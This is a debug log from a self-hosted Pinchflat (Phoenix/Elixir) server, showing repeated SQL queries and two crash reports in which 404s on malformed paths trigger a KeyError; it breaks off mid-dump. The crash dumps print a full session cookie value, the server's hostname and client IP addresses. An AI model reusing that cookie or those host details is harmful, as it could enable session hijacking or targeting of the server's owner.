s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.742 [debug] QUERY OK source="tasks" db=1.6ms idle=7.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76349] 20:18:51.744 [debug] QUERY OK source="oban_jobs" db=2.4ms idle=5.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1973] 20:18:51.746 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.748 [debug] QUERY OK source="settings" db=0.4ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.753 [debug] QUERY OK source="settings" db=4.8ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.754 [debug] QUERY OK source="settings" db=0.3ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.757 [debug] QUERY OK source="media_profiles" db=0.9ms idle=11.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.760 [info] GET /sources/6/media/76348 20:18:51.761 [info] GET /sources/6 20:18:51.761 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 20:18:51.761 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76348", "source_id" => "6"} Pipelines: [:browser] 20:18:51.761 [info] GET /sources/6/media/76376 20:18:51.762 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76376", "source_id" => "6"} Pipelines: [:browser] 20:18:51.765 [debug] QUERY OK source="media_items" db=1.7ms idle=15.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76376] 20:18:51.765 [debug] QUERY OK source="sources" db=1.7ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.767 [debug] QUERY OK source="tasks" db=2.1ms queue=0.1ms idle=11.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76376] 20:18:51.768 [debug] QUERY OK source="media_profiles" db=1.9ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.768 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.769 [debug] QUERY OK source="media_items" db=6.7ms queue=0.2ms idle=16.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76348] 20:18:51.770 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=3.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1974] 20:18:51.771 [debug] QUERY OK source="tasks" db=0.5ms queue=0.5ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76348] 20:18:51.771 [debug] QUERY OK source="sources" db=0.6ms queue=0.4ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.773 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=3.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1972] 20:18:51.776 [debug] QUERY OK source="settings" db=1.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.777 [debug] QUERY OK source="settings" db=4.0ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.779 [debug] QUERY OK source="settings" db=0.6ms queue=0.5ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.779 [debug] QUERY OK source="settings" db=1.2ms queue=0.7ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.781 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.781 [debug] QUERY OK source="settings" db=1.5ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.783 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.784 [debug] QUERY OK source="media_profiles" db=0.7ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.817 [info] GET /sources/6/media/76347 20:18:51.817 [info] GET /https%3A/supporters.eff.org/donate 20:18:51.817 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76347", "source_id" => "6"} Pipelines: [:browser] 20:18:51.819 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=36.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.819 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=37.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:51.821 [debug] QUERY OK source="media_items" db=1.1ms idle=36.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76347] 20:18:51.823 [debug] QUERY OK source="tasks" db=1.0ms queue=0.1ms idle=37.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76347] 20:18:51.823 [debug] QUERY OK source="sources" db=1.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.825 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=4.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1971] 20:18:51.827 [info] GET /https%3A/github.com/kieraneglin/pinchflat/issues/234 20:18:51.829 [debug] QUERY OK source="settings" db=3.2ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.830 [debug] QUERY OK source="settings" db=2.6ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.831 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.833 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.833 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:51.834 [debug] QUERY OK source="settings" db=1.7ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.844 [debug] QUERY OK source="media_profiles" db=3.6ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:51.838 [error] #PID<0.11120.0> running PinchflatWeb.Endpoint (connection #PID<0.11119.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat/issues/234 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/issues/234 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/issues/234", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 9845}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11120.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat", "issues", "234"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat/issues/234", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqaJTCQkpV8AAADiE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/issues/234", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 9845}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/issues/234 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11119.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/issues/234", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 9845}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZ (truncated) 20:18:51.831 [error] #PID<0.11115.0> running PinchflatWeb.Endpoint (connection #PID<0.11113.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/supporters.eff.org/donate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/supporters.eff.org/donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11113.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 4563}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11115.0>, params: %{}, path_info: ["https%3A", "supporters.eff.org", "donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => 